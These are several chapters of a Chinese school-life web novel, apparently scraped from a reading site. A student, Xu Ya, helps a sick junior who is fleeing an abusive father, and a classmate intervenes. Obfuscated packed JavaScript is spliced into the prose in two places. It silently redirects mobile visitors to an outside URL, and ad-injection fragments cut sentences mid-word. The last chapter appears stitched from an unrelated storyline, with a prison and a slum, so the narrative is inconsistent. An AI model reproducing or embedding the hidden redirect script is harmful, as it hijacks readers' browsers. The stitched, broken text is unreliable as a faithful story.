徐娅到教室拿了数学书,下楼时,在高一那层停了,出于某种玄妙的第六感,她往高一那层走去。 然后就看到高一7班教室里,有个人趴在桌子上休息。 周末教室是不开门的,徐娅进来时做了登记才从保安室拿到自己班级的钥匙,而高一7班的窗户开着,显然罗雾是翻窗进去的。 这小孩不对劲。 徐娅思考了一会儿要不要多管闲事。 最后想起罗雾给她的草莓味棒棒糖,于是上前一步,敲了敲窗。 教室里的人听到声音,转过头来。 “……学姐,你还没走啊?” 徐娅想了想,问道:“你吃午饭了吗?学校附近有一家骨汤面挺好吃的,吃吗?” 骨汤面店里没什么人,毕竟已经过了午饭点。 徐娅点了碗面给罗雾,罗雾吃得狼吞虎咽,跟两天没吃饭似的。 两人有一搭没一搭说话。 “对了学姐,我之前还说要搞明白关哥背后议论你那个事到底怎么回事呢,结果这几天有点忙都给忘了。”罗雾腼腆笑笑,“正好遇到了,要不我把打听到的跟你说说?” 徐娅瞥一眼他,没说好也没说不好。 罗雾兀自往下说。 其实事情挺简单的,当时徐娅的策划被胡会长卡着,关铸觉得徐娅是不可能按胡会长的想法弄个新策划出来的,于是就去找胡会长,看能不能协商着让她通融点。 关铸和胡会长先前还有段“旧缘”,胡会长和一个大学的男生交往过,分手时闹得不太愉快,那男生来塘西高中想找胡会长茬,正好关铸遇见,顺手帮了她一把。 本来有这个渊源,胡会长愿意给高二3班一点弹性也是正常的。 关铸找了胡会长后,胡会长果然松口给了徐娅的策划很大的弹性空间,第二天徐娅就收到了胡会长松口的邮件。 而胡会长觉得自己给了关铸面子,就想拉关铸进自己的小团体。 毕竟人家刚帮了自己,关铸也不好直接拒绝,胡会长找他他就去了一次。 唐果贞拍到的那一小段视频就出自那次胡会长小团体聚会。 那段视频并没有拍完整,那天胡会长在嘲笑了徐娅“假富二代”以后,是有后续的。 关铸听完“假富二代”言论后,笑道:“学姐,别人是真富二代还是假富二代,都不需要用‘好笑’来形容吧?显得你很嫉妒人家,见不得人家出风头似的——你怎么可能是这种人呢,对吧?” 胡会长:“……” 气氛瞬间尴尬,那以后胡会长就没再拉关铸直接参与自己的小团体聚会,估计不想又被关铸搞得在小团体面前丢面子。 本来事情就该这么结束了,但胡会长可能本来就对关铸有点好感,好不容易人主动找自己帮忙一次,就不想放过这次机会,于是想让关铸加入学生会。 关铸当然拒绝。 胡会长假装不知道他拒绝。今年的运动会算是塘西学生会难得有活的时候,她干脆把关铸也当成一个劳动力给报上去了。 关铸知道的时候,运动会学生工作人员名单都已经审批完了。 校方支持胡会长搞这届完全由学生组织和开展的运动会,胡会长一说缺人,校方就同意加人帮忙了,连关铸的班主任老郑都打过招呼,说是要全力配合搞好这届运动会。 其实干点活没什么,但关铸不喜欢这种被人摆了一道的感觉,所以运动会那天只象征性地帮学生会干了点活。 胡会长本来也不是真找人来干活的,安排好运动会的工作后就来找关铸聊天,试图拉近两人关系。 估计是关铸冷淡的态度太明显,胡会长心急了点就想着利诱。她暗示关铸她知道他的身世和家庭条件,假如两人关系“够亲近”,将来可以在升学和工作发展上都帮到他。 据当天在场的其他学生会成员讲,关铸当时全程都没怎么说话,显然心情不好,最多就回一句“没兴趣”。 关铸态度都这么明显了,胡会长后来倒是没再尝试继续热脸贴冷屁股。不过因为被下了面子,据说她这两天在到处传播关铸的坏话。 罗雾说完打听到的所有事,总结发言:“简单来说,为了让学姐你的策划能落地,关哥他莫名其妙惹了一身腥。” 徐娅:“……” 徐娅听完确实是有点惊讶。好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660586|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,不止一点。 原来她的策划案能实施,从中斡旋的不是老郑,而是关铸? 原来关铸不仅没参与对她家世的议论,反而还算阻止了议论? 原来运动会那天在广播室,因为被胡会长骚扰,还被提到身世,关铸本就心情不佳? 徐娅沉默了一会儿,问道:“这些都是关铸告诉你的?” “关哥才不会说这些,我是打听了好几个人才拼凑出真相的。”罗雾说着有点得意,“我的信息搜集能力很强的,我以前还想过做私家侦探呢。” 徐娅不说话了。 怎么回事,为什么有种罪恶感? 她一向擅长坏事对外归因,好事向内归因,用时髦的话来说就是不内耗人格。此刻却产生了罪恶感。 原来她也有这种情绪的吗? 因为知道了这些反转了的真相,徐娅从骨汤面店出来时还处于大脑有点空白的状态,连原本的计划——趁吃饭的时候问问罗雾到底什么情况,为什么突然不见人影好几天,又为什么大周末的躲在学校,是不是又被之前那伙混混缠上了——都给忘了。 等到晚上的时候,徐娅终于想起来带罗雾去吃面的原本目的。 徐娅有理由怀疑,罗雾吃面时爆料洗白关铸,是为了转移她的注意力。 徐娅不是个爱管闲事的个性,但罗雾终归算是认识一段时间、关系还算可以的朋友,也不能发现他情况有异还当没看见。 徐娅打电话给学校保安室,让对方看看学校里是不是还滞留了学生,还重点强调要注意一下高一年级。 没多久,对方回了电话,说是确实发现有个高一的头发很长的男生还在学校里,他让他赶紧回家,那男生又一溜烟跑了。 这说的绝对是罗雾,他绝对是遇到什么事了。 徐娅稍作思考,打算再回学校看看。 她收拾了个拎包就出门了,刚走到小区门口,路上迎面走过来几个人。 最中间的那个是今天刚在她这儿被洗白了的。 他们应该是刚打了球,中间那个高瘦的少年一边松垮垮走着路,一边指尖还转着个篮球。 要擦肩而过的时候,徐娅停住了脚步,转身看了对方一眼。 其实她是想叫住他,为那天的争吵道个歉的。 只是道歉这个行为于她而言过于陌生,实在是一下子做不出来。 最后就变成僵在原地,傻兮兮地目送对方的背影走远。 嘶,道歉原来这么难的吗? 徐娅在原地站了一会儿,最后决定道歉先放一边,还是先去干正事。 而背后,和关铸走在一起的一个男生在多次转头以后,抬起手肘戳了下关铸:“关哥,你们班那个徐……叫什么来着……总之就是那个转学美女,刚刚一直转过身看你,她前几天每次遇见你,不都是扬着个下巴把你当空气吗?” 关铸冷笑了下,不甚在意:“是吗?可能她刚才出门时脑子被门夹了吧。” 那男生又琢磨着回头看了一眼:“她好像往学校的方向走了,大晚上的,她去学校干什么?” 12. 感情啊×不可靠 徐娅到学校后先去了趟保安室,保安大哥说刚才罗雾跑了以后就没见过他了,应该已经离开学校了。 徐娅沉吟片刻,问道:“我能再去找下吗?” 保安大哥人挺和善,就同意了。 徐娅在学校晃了一圈,找了几个罗雾平时比较常出现的地方,并没有看到人。看来他确实大概率已经离开学校了。 徐娅回到校门口,拿出手机打开微信,给罗雾发了个消息:【学弟,你在家吗?】 等了两分钟,没有回信。 正在徐娅以为罗雾不会回她、准备打道回府时,手机突然收到两条语音消息。 声音细若游丝:【学姐……】 听着怪吓人的:【能不能借我点钱……】 徐娅顿了顿,直接打了语音。 那边似乎犹豫了好一会儿,这才接了电话。 “借钱倒是可以,不过我得知道你要借钱干什么。” 罗雾要借钱买药。 徐娅在镇中心的商业街看到罗雾时,他正缩在街道昏暗一角的长椅上——看着像是老电影里那种难民流浪汉,颇为凄惨。 她过去和他打招呼,他好一会儿才慢吞吞反应过来:“啊,学姐你来了?” 看起来状态确实是不太好。 商业街边上就是镇子的卫生服务中心,徐娅直接拉他过去看病。 验血的结果是重感冒,发烧到三十八度多,最后配了感冒药和退烧药。 出了卫生服务中心后,罗雾直接坐在街边花坛的沿上,就着徐娅递过来的矿泉水吞了两颗药。 吞完药一抬头,就看到徐娅目光凛然地盯着他。 刚才当务之急是看病所以她一直没问,这会儿病看完了,她当然是要搞明白发生什么事了。 “既然你选择了向我求助,我就有必要知道你到底怎么回事。”徐娅打量他,说道,“如果我没记错,你现在身上这套衣服,和一周前我见到你那次一模一样——你最近都没回过家?” 罗雾弱气地缩起脑袋,整个人跟个小媳妇一样:“啊,学姐你好厉害啊,观察入微。” “这几天每天都在外面晃悠?” “……前几天还有钱的时候是住在旅馆,这两天没钱了,昨天晚上是睡在公园里。” 怪不得会感冒…… “和父母吵架离家出走了?” “……” 徐娅见罗雾还在支支吾吾犹豫,说道:“你要是再不说,我就找你班主任要你家长的电话了。” “……我知道了。”罗雾愁眉苦脸,“主要是这件事不太光彩,我就不太想让人知道。” 徐娅疑惑:“不光彩?” 罗雾扯起衣袖,露出左手上臂的一道疤,那道疤很深,看起来当时伤得挺重。 徐娅皱起眉:“是那些欺负你的小混混打的?” 罗雾摇头:“不是,他们虽然恐吓我抢我零花钱,但没有真的动手过,而且之前关哥吓唬过他们以后,他们就没找过我了。” “那这是?” 罗雾嗫嗫嚅嚅:“……我爸打的。” 准确来说,是罗雾户口本上的父亲打的。 罗雾的父母因为工作原因,在他很小的时候就各自长期驻留外地。他父亲的工作是跑长途运输,母亲则是一位有钱人的助理,要跟着对方的工作到处出差。 在罗雾的记忆里,母亲对他不太热络,每次回家除了给他零花钱,很少和他说话亲近。而父亲在上初中前,对他还算不错,每次回来都会带他玩。 但上初中后,也不知道什么时候开始,父亲对他变得很冷淡。 罗雾初始时还试图和父亲亲近,直到某次他拉了下父亲的手,却直接被打了一巴掌。 他被打懵了。 后来每一次父亲从外地回来,都酗酒很严重,且打他的次数开始变多。 最严重的一次罗雾被打倒在地,地上刚好有父亲刚才砸碎的酒瓶玻璃,于是他手臂上就留下了个深深的疤痕。 罗雾从最初的难过后,开始陷入疑惑,父亲到底是怎么了? 是他做了什么事让父亲很生气吗? 他越来越乖巧,完全不违背父亲。 但情况依旧没有好转。 罗雾曾经和母亲说过这件事,但历来冷淡的母亲这次也只轻飘飘说了一句:“那你少惹他不就好了。” 罗雾只得继续试图和父亲交流,可父亲却训斥说:“我每次回来还给你钱你就该感恩了!” 直到两个月前,罗雾去姑妈家请求姑妈帮他从三中转学到塘西高中。 那天他在姑妈家住了一晚。半夜时他起来上厕所,无意间听到姑妈和姑父在客厅聊天。 姑父说:“你费那个劲帮他干什么,他又不是你哥的亲儿子。” 姑妈说:“他这个情况也蛮可怜的,爹妈都不管他了。毕竟我们也是看着他长大的,能帮就帮一帮。” 姑父不屑:“你哥对他已经不错了,要是我知道我儿子不是我儿子,不要说还继续给钱养着他,不直接赶出家就不错了。” 姑妈叹气:“我当时就跟我哥说那个女人心思活泛不是个好对象,他不听,结果这么多年了,终于发现一直在给别人养儿子了。” 后面罗雾就没有继续听下去了。 他意识到了父亲对他态度剧变的原因。 其他不重要了。 罗雾说到这儿,沉默了下来,本来就因为感冒而有气无力,这下更像是根被霜打蔫了的小草了。 徐娅也沉默了一会儿,却感到愤怒:“做父子这么多年,只是因为没有血缘关系,就能抹消掉一切吗?就能这么对你吗?” 罗雾一愣,抬头看着徐娅,有点惊讶。主要是没想到徐娅看起来比他还激动。 徐娅似乎意识到表露了太多情绪,于是别过脸,语气冷静下来:“……你知道真相的时候,是不是特别伤心?” 罗雾摇摇头:“伤心还好,前几年我爸打我打得多,我已经伤心够了。前不久听到姑妈姑父的聊天,主要是豁然开朗。” “豁然开朗?” 罗雾点了点头:“原来不是因为我做了什么导致我爸突然不喜欢我了,而是我本来就不是我爸的孩子。” 徐娅皱着眉头,试图理解罗雾的心情。 罗雾见她一脸不认同,问道:“那如果是学姐你,遇到这种情况会怎么做?” 徐娅冷笑:“我会让他明白失去我这个女儿是他最巨大的损失。” “……” 徐娅继续说道:“所以你这周一直不回家,是因为你爸回来了?” 罗雾点了点头:“这是我知道真相以后他第一次回家。以前还不知道的时候就算了,现在知道了,我不知道该怎么面对他。” 罗雾说着,整个人缩得更紧了,双手环抱在胸前,看起来孤零零的一小只。 徐娅突然就有点鼻子发酸。 “你不要太难过,其实我……”徐娅说了一半,终究没有继续往下说。 关于亲情的话题让两个人都很沮丧,于是两个人都沉默着坐在花坛边。 最后徐娅轻轻感叹:“连被认为所有感情中最牢固的亲情都能这样轻易消失,人的感情真是最不可靠的东西了。” 罗雾苦笑:“学姐,你怎么比我还苦大仇深啊。” 夜风吹过,秋日的萧瑟扑面而来。小镇的夜晚还算繁华,商业街上霓虹璀璨,而两个人坐着的那处花坛却很偏僻,且头顶那盏路灯正好坏了,于是显得这一角格外昏暗寂寥。 不知过了多久,终于,徐娅率先从情绪里醒过来些。 秋天晚上冷,罗雾还在感冒,不应该继续留在外面了。 徐娅正想问罗雾需不需要再借给他一些钱,好能继续住旅馆,直到他爸离开。这个时候罗雾却突然站起来,脸上的神情是徐娅从未见过的局促。 徐娅愣了一下,转头顺着罗雾的目光看去——一个中年男人站在不远处,正面色不善地看着这边。 中年男子穿了件黄褐色的灯芯绒外套,胡子拉碴,长相普通,因为常年在外奔波皮肤很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679623|144002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑,大概是所属行业鱼龙混杂,故而气质里带着点地痞流氓的狠辣。 徐娅瞬间意识到这个中年男人是谁。 中年男子气势汹汹地走了过来,还不待走近,骂声已经先来:“好啊,我还奇怪我回来这么多天都没见到你,原来是躲外面来了,怎么?爹妈不在身边心野了,变成连家都不回的小混混了?!” 大概出于生理性的恐惧,罗雾下意识退了一步。 通常情况下,徐娅遇到非针对自己的剧烈冲突,会选择明哲保身。 但今晚情况特殊,罗雾的情况让她代入过深了。 在那个中年男子冲上来的瞬间,她拦住了他。 那中年男子没想到突然来了个程咬金,一腔不爽立刻换了发泄的方向:“你谁啊?老子管教儿子跟你有什么关系?” “管教还是殴打?他身上有伤痕,你的行为是虐待未成年人。” 那中年男子一愣,脸皱成一团,冲罗雾道:“你跟她说我虐待你?你居然觉得我虐待你?我花钱养你这么大,管教了几次你就觉得我虐待你?果然不是亲生就是……”一顿,止住话头,说道,“总之罗雾,你跟我回家!” “你没看到他很害怕吗?你摸着良心问问自己,正常的管教会打那么狠?” “哪来的小婊子?不会就是你把我儿子带坏的吧?!” 罗雾本来还在发愣,见父亲语气越来越不好,对徐娅的用词也变得难听,立刻清醒过来。这是他的事,本就跟徐娅没关系,更何况徐娅是个女孩子。他上前要拉走父亲:“跟学姐没关系,我是生病了才没回家,学姐借我钱看病的!” 中年男子不信。 罗雾加大力气扯掉父亲拽着徐娅的手,恳求道:“走吧爸爸,我们回家。” 中年男子见罗雾低着脑袋乖顺的样子,勉强忍下了火气,放开了徐娅,但依旧冲徐娅骂了一句:“老子花钱养的儿子,老子想怎么样都行,关闲杂人屁事!” 出于习惯,徐娅对自己说,可以了,不要管了,你带罗雾看了病,已经仁至义尽,这件事和你没关系。 但中年男子对待罗雾仿佛对待所有物而不是亲人的样子,让她联想到了另一张脸。 对那张脸来说,她也只是所有物,所以想抛弃就是可以抛弃的。 徐娅跟了上去,想把罗雾从那中年男子的压制中解救出来。 那男子显然本来就已经在爆发边缘,徐娅突然又冲上来,他立刻炸了,撸起袖子要动手。 虽然是僻静的角落,到底依旧有零星的人注意到了这处的争吵,看到男人挥起拳头要揍向徐娅,尖叫起来。 罗雾也慌了,他不希望帮助自己的人因为自己受到伤害,他冲上去想要拉住父亲。 徐娅看到冲着自己迅速挥来的拳头,下意识抬起手臂挡住脸。 眼前是一位暴躁的假父亲,脑海里浮现另一位冷酷的假父亲。 这种要命的关头,徐娅心里却想着她最难过的一个秘密,其实她不姓徐。 她和罗雾一样没有父母。 预想中的疼痛并没有到来。 徐娅从手臂后睁开眼,发现这位暴躁的假父亲被人拦了下来。 她慢慢抬起视线,看到的是一个眼熟的高瘦背影。 那人一个反手,将中年男子的手臂折到了背后,然后往前一推,将他整个人压制在街边房子的墙壁上。 那人疑惑:“这人谁啊?喂,罗雾,你怎么老是卷进纷争里?” 徐娅突然想起前两个月发生过类似的事情。 那个时候罗雾被几个小混混威胁,她在一边偷看,高瘦的少年突然出现帮了罗雾。 这次罗雾被他父亲威胁,她加入混局,于是便换了另一种视角看这名高瘦少年从天而降制服歹徒。 徐娅莫名想起那个时候,罗雾曾感叹这名少年好帅,而后她不屑地切了一声。 现在换了个视角,更深入情景地去看,帅吗? 徐娅心想,英雄救美不亏是经典情节,她好像能稍微理解罗雾一纳米点点了。 13. 很友好×不对劲 关铸的力气很大,使劲儿的技巧性也强,罗雾的父亲罗建新被关铸制住后,拼命挣扎了一会儿却挣不开。 他气得破口大骂,用的是粗鄙的方言。 徐娅听不懂,却知道肯定是极难听的话,不然罗雾的表情不会这么难看,跟快哭了似的。 关铸从外套兜里掏出个苹果,直接塞到罗建新的嘴里,让他终于说不了话了。 随即关铸转过头来,视线淡而缓地扫过罗雾和徐娅,问道:“所以谁来说说现在是怎么回事?” 徐娅见罗雾情绪不佳,犹豫了下,最后代替他简单解释了一下目前的情况。 其实她和关铸这会儿本该还处于互相当空气的状态,但眼前的状况着实有点棘手,那些小龃龉便被暂时放到了一边。 关铸听完,不出所料地皱了眉,他略微思索了一会儿,最后问罗雾:“你要和你爸回家吗?” 罗雾顿了顿,摇头。 他对罗建新的感情有些复杂,虽然血缘是假的,打骂是真的,但毕竟曾经罗建新也对他好过,他的概念里罗建新依旧是父亲。更何况从某种意义上讲,罗建新也是一个受害者。 罗雾不知道该怎么样面对这样一个父亲,逃避伤害是人的本能,于是他选择了能躲多久多多久。 关铸没说话,反剪着罗建新的双手,制着他走远了一些,而后两人进行了几分钟的对话。 徐娅的位置并不能听到关铸说了什么,也看不到关铸的表情。他是背对着她这个方向的。 徐娅只能看到他一边将对方压制在墙角,一边微微弯下腰,用一种极具压迫性的方式与对方说话。 罗建新最开始表情还有些忿忿不平,随即变成了忌惮。 罗建新的职业使他对危险的人物更具敏感性。其实制住他的只是个少年,但其散发出的气息着实令人感到忌惮。 那是一种见过许多黑暗,所以也沾染上黑暗的气息。 罗建新一方面有些不甘心被一个少年恐吓住,一方面又下意识地觉得现在不该再继续硬刚了。 他矛盾了一会儿,随着少年看他的目光越来越不善,最终对危险的本能反应占据了上风。 罗建新跑了,虽然跑之前狠狠看了罗雾一眼,显然后面还会找机会卷土重来,但至少当下可以松一口气了。 这一晚上又是重感冒,又是父亲找来的纠纷,病毒和激烈的情绪让罗雾开始头晕,一个趔趄差点直接面朝大地摔个头破血流。 还好徐娅眼疾手快地扶住了他。 “喂,你先别晕啊!” 罗雾听到徐娅的声音远远近近地响着,很想打起精神来,可是身心的状况着实有些糟糕,最终还是眼前一黑失去了意识。 徐娅使劲儿扶住整个人软倒的罗雾。罗雾在男生中的个子不算高,体型也偏瘦,平时徐娅没觉得他能有多重,现在才发现,这果然是个十来岁的男生,体重可不是猫猫狗狗能比的。 徐娅快撑不住了,就快两个人都摔倒的时候,身上的重量突然一轻。 她转头,原来是关铸过来扶住了罗雾。 关铸没看徐娅,只说道:“今天先让他住我家吧。” 徐娅意识到他是在征询她的意见,思索了片刻,也觉得这样比较好,比让罗雾一个病人单独住旅馆好。 “好,我帮你一起。” 徐娅帮关铸背起罗雾,而后两个人往所住的小区走。 刚才注意力都在罗雾家的事上还不觉得,这会儿当事人罗雾已经掉线,徐娅突然感觉到尴尬了。 特别是关铸今天才刚在她这儿洗白,她这会儿的罪恶感还处于最高峰。 路上关铸一直没开口说话,徐娅沉默走了一会儿,决定率先打开局面。 “你怎么也在商业街?” 大约是没想到徐娅会主动和他搭话,关铸诧异地瞥了她一眼,随即才说道:“帮我哥买一本教材。” “关蔚哥念书很认真吧?那天我去你家找你试衣服的时候见过他,你们兄弟俩看着还挺不一样的。” 关铸略一回想就想起来徐娅说的是哪一天了,毕竟徐娅一共也就去过他家一次而已。 “罗雾住你家会不会有点挤,我记得你家好像没有多余的房间,你跟你哥都是住一个房间的。” “这个不用你操心。”关铸凉凉道,“我们小市民家有自己的办法。” “……我没有其他的意思,就是单纯问问。对了,罗雾刚配的感冒药还在我这儿,我过会儿给你。” “嗯。” 徐娅顿了下,实在想不出什么能说的话题了。 原先对关铸报以负面观感的时候,她是不会试图找话题融洽气氛的,关铸不说话 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,她只会比关铸更高冷。 可惜现在她自认理亏,于是气势完全被压住了。 徐娅暗叹,理亏果然气短。 关铸也发现徐娅跟之前不太一样,竟然和他说话时有点友好甚至讨好的意味在里面。 真是稀奇了。 关铸忍不住多瞥了徐娅一眼。 徐娅正好暗暗观察关铸的神色,两人视线就这么对上了。 徐娅僵了下,当什么也没发生一样,慢吞吞把眼神转开。 关铸见状更稀奇了。 中心商业街距离两人所住的小区不算太远,大约走了二十多分钟就到了。 关铸家没人,他把罗雾先放到沙发上,又找了床被子给罗雾盖上。 徐娅则把罗雾的药拿出来。他刚才卫生服务中心吞了退烧药,还没喝感冒冲剂。 “你家有热水吗?” 关铸指了指厨房:“灶台上有热水壶。” 徐娅进厨房,拿了只碗泡了药后端出去。 罗雾迷糊了一路,这会儿略微有点意识了,他接了药喝掉以后,很快又迷迷糊糊睡着了。 关铸见罗雾喝完药睡下了,于是准备让徐娅先回去。 转头一看,徐娅手上拿着什么,正犹犹豫豫的,像是想说什么。 见他转身,她终于把手上的东西递了过来。 关铸歪头打量徐娅伸过来的手掌上躺着的东西,居然是碘酒和棉签? 徐娅解释:“刚才回来的路上路过药店进屋买的。” 他还以为她刚才进药店是去买感冒药的。 徐娅指了指关铸的小臂:“你跟罗雾爸爸动手的时候可能是擦到了。” 关铸垂头,翻过自己的手臂看了看,果然有一处伤口,应该是撞到了墙上,所以油皮擦破了。 徐娅继续说道:“虽然只是个小伤口,但是如果不消毒的话也可能会感染化脓的。” 关铸居高临下地打量徐娅。突然,他走近一步,弯下腰与徐娅平时。 徐娅被吓了一跳,下意识地后退一步,但背后是凳子,她腿弯撞到凳子沿,直接啪地坐下了。 “徐大小姐,”关铸凑得更近,瞬间温热的独特气息扑面而来,他一双眼睛聚精会神的,仿佛在探究什么有意思的神秘事物般专注看着她,“你今天好像不太对劲啊?” 14. 一家人×和解吧 被从前的“好友”陆卓和“母亲大人”胡艳蓉赶出宣讲会后,徐娅直接回住处了。 露面的目的已经达到,想来给这些狗东西留下了深刻印象。先给他们点时间缓缓,没必要急着多做纠缠。 回到住处,刚打开门,徐娅就闻到一股劣质烟的味道。 房间里有人。 徐娅并不意外,嫌恶地朝着屋子里说道:“我跟你说过不要在这里抽烟吧?” 黑暗的房间里,正站在窗边的男人转过身来,月光勾勒出他高大的轮廓,一点火光夹在他手指间。 男人不甚在意地说道:“开窗了。” “开窗也不行。我最讨厌二手烟了,这是我最大的雷点之一!” 徐娅换上拖鞋,走进屋把油灯点燃——这该死的贫民窟不通电,竟然需要用这样原始的方式照明。 屋里亮起昏暗的光,窗边的男人面容显现出来。 这是个看起来就不好惹的人,浑身散发锐利而危险的地痞气质,肌肉算不上硕大,但有着常年从事体力劳动的结实,左臂上则刻着大块的纹身——徐娅第一次见到他的时候,他还没有纹身,倒是有很多伤口,奄奄一息的。 那时的他比现在可爱多了,不会雷点蹦迪,任人搓圆按扁的。 像只随时能捏死的小蚂蚁。徐娅恶劣地想着,走近了一些。 徐娅歪头斜睨男人,用一种她自己也没意识到的高高在上的目光打量他。 其实忽略男人那股地痞气质,他长得算很不错,偏薄的五官精致又立体,有种非正统的邪帅。 只可惜帅有什么用,本质上只是个贫民窟不入流的混混。 男人垂着眼与徐娅对视了一会儿,依旧悠哉抽着烟。 几秒后,他吸了口烟,朝徐娅吐出了个烟圈。 “咳咳。”徐娅受不了这二手烟的味道,呛得眼泪都要出来了。 她怒目圆瞪,抬手就抢走了男人手里的烟,往地上一扔,拿脚狠狠碾灭。 男人倒也没生气。 他低头看看地上半支烟可怜的尸体,嗤笑:“大小姐心情很差啊。” 徐娅往后一退,直接坐在床畔,恶狠狠道:“你知道我去见了谁,别明知故问了。” “嗯哼,狗东西们。”男人应了声,走到床的另一侧,舒展了下筋骨,然后直接大喇喇躺下。 徐娅炸毛尖叫:“跟你说过不许碰我的床,我最讨厌有人碰我的床了!脏死了!” 男人毫无反应:“这房子又没其他地方能坐。” 徐娅像个炸了的爆竹,脱了鞋踏上床,对男人一阵毫不留情的狠踹:“我当时为什么要帮你这么条没点感恩心的狗!” “我们是盟友,你放尊重点。”男人懒洋洋说道,“而且别说的好像你对我有什么大恩似的,你不过是把一盒过期的药扔给我而已。” 徐娅才不管,踹得更狠。 男人皮实,被踹了半天乌青都没一个,反而徐娅踹得脚疼,最后累得坐下了。 这个一直在徐娅雷区蹦迪的男人叫关铸,两人相识于三月前,也就是徐娅出狱的第一天。 随后阴差阳错的,两人得知了对方想做的事,于是很有默契地达成了某种共识,并成为了盟友。 这三个月里关铸隔三岔五就会出现在这儿,主要是来和盟友互通下信息。 两人安静了一会儿,最后是徐娅先说话,带着种得意的笑:“我刚才见到了我‘亲爱的母亲大人’和从小一起长大的‘好朋友’,他们看到我跟看到鬼一样。” “然后你就被赶走了?” 徐娅瞬间拉了脸:“你怎么知道?” “很好猜。” “哼,陆卓今晚肯定睡不好。”徐娅定定道:“已经开始了,他是突破口。” 一张纸突然出现在徐娅眼前。 徐娅愣了愣,转头看关铸:“什么东西?” 关铸晃了晃指尖夹着的纸片:“让你的突破口坏得更顺利一些。” 徐娅接过纸片,上面写着一串数字。她知道这是什么。 徐娅挑眉:“你还算有用啊。” “不有用,你也不会跟我合作。”关铸翻了个身,背对着徐娅打个哈欠。 “说得对。有用的东西才不会被抛弃。”徐娅垂眸冷笑了下,过了会儿,她意识到什么,皱眉看关铸,“喂,这是我的床,你不许睡。” 回应她的只有缓慢的呼吸。 徐娅深吸口气,盯了一会儿关铸宽阔的后背,随即一抬脚把他踹了下去。 关铸跟具死尸似的,被踹到地上也没什么反应,直接躺地上继续睡。 徐娅骂了句,转身下床洗澡,洗完也不管关铸还在,直接躺床上睡了。 从某种角度来说,这说明了徐娅很信任关铸。当然,这无关任何感情,只因为她知道自己是关铸唯一的指望。 第二天天亮,徐娅醒来的时候,屋子里已经没人了。 徐娅也不在意,她和关铸的关系是黑夜中的同行人,天亮的时候自然各不相关。 徐娅拿着手机沉思了一会儿,随后编辑了一条信息,发给了关铸给她的那个号码。 这是陆卓的私人号码,亏关铸真能搞到。 发完后,她也没有在原地等着回信。 估计得再等一个晚上才有可能获得回信吧,毕竟她和陆卓从小一起长大,曾是好友,她了解他的个性。 犹疑,反复思虑才会有所行动。 徐娅准备出门逛街,买些好看的裙子,为之后的计划做准备。 她去的是一个以廉价著称的市场,小摊贩们在市场里摆摊,将衣服饰品皱巴巴地堆在塑料布上供客人挑选。 徐娅正找自己需要的裙子时,突然听到熟悉的声音。 胡艳蓉? 她转头,原来是摊主正用一台老旧的小电视看一则新闻采访。 荧幕上,妆容精致的贵妇人优雅地坐在沙发上,对茶几对面采访的记者说道:“下个月就是世纪婚礼了。他们的感情很好,徐家和陆家联姻,对两家都是好事,以后两家展开商业方面的合作,也会对这座城市的发展产生正面影响。” 胡艳蓉说完,慈祥地看向身边坐着的腼腆女孩:“我们徐家就惠惠这么个宝贝女儿,我希望她永远幸福。” 徐娅冷笑了一下。 时间过得真快,徐惠和陆卓的婚礼只剩下一个月了。 若她不出现,大约每个人都真的已经忘了她,踏上快乐的新生活了。 徐娅想起那天,胡艳容站在一旁,对正与徐娅对峙的徐惠说道:“刺自己。” 徐惠愣了几秒,明白了胡艳容的意思,快速捡起地上的匕首,怨恨地看了徐娅一眼,然后重重冲着自己刺下。 徐家的每个人都知道徐娅弑亲的真相,连陆卓和那个人也知道,可几乎所有人都想徐娅背上这个罪名。 于是徐娅就真的被关进了监狱。 徐娅吸了口气,不再去看电视上和乐融融的作秀访谈,对摊主说道:“我要这几件,便宜点我就都买了。” 从市场回到住处时,天已经黑了。 徐娅找出点食物,正准备吃的时候,手机震了一下。 徐娅愣了愣,拿起手机查看。 屏幕上是两条短信。 “卓哥哥,我知道错了,从前是我太飞扬跋扈,这五年我想了很多,我不恨任何人,只是想要个重新开始人生的机会……贫民窟的床真的好硬。” “德信大厦305,明天十点。” 第一条短信是早上徐娅发出的,编写的时候她直翻白眼。 虽然是贫民窟,但她还是把自己的床弄得很舒适的。 第二条是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 陆卓的回信。 回复速度居然比她预想得要快了一倍。 看来在她不在的这五年里,陆卓比从前长进了一些。 徐娅不知想到什么,突然笑了一下。不管是谁,跌了跟头果然都是会长进的。 徐娅为和陆卓的见面做足了准备,第二天出门时,几乎每一根头发都散发某种楚楚可怜的气质。 她穿着一件白衬衫和一条浅蓝的即膝百褶裙,很学生气的打扮,将徐娅容貌中魅惑的一面压下去了点,增添了几分纯净。 第一次见面时,徐娅想要留下深刻的回归印象,于是选了红色的服饰。 这一次她要“走心”,于是选了相对吻合陆卓偏好的、耐看的打扮。 徐娅到约定的房间时,陆卓已经在了。 陆卓打开门看到她,面色很平淡,大约是做了许久心理准备,无法从表情解读出任何的情绪。陆卓对她点了点头:“进来吧。” 陆卓叫人准备了午餐,徐娅与他一边吃午饭一边说话。 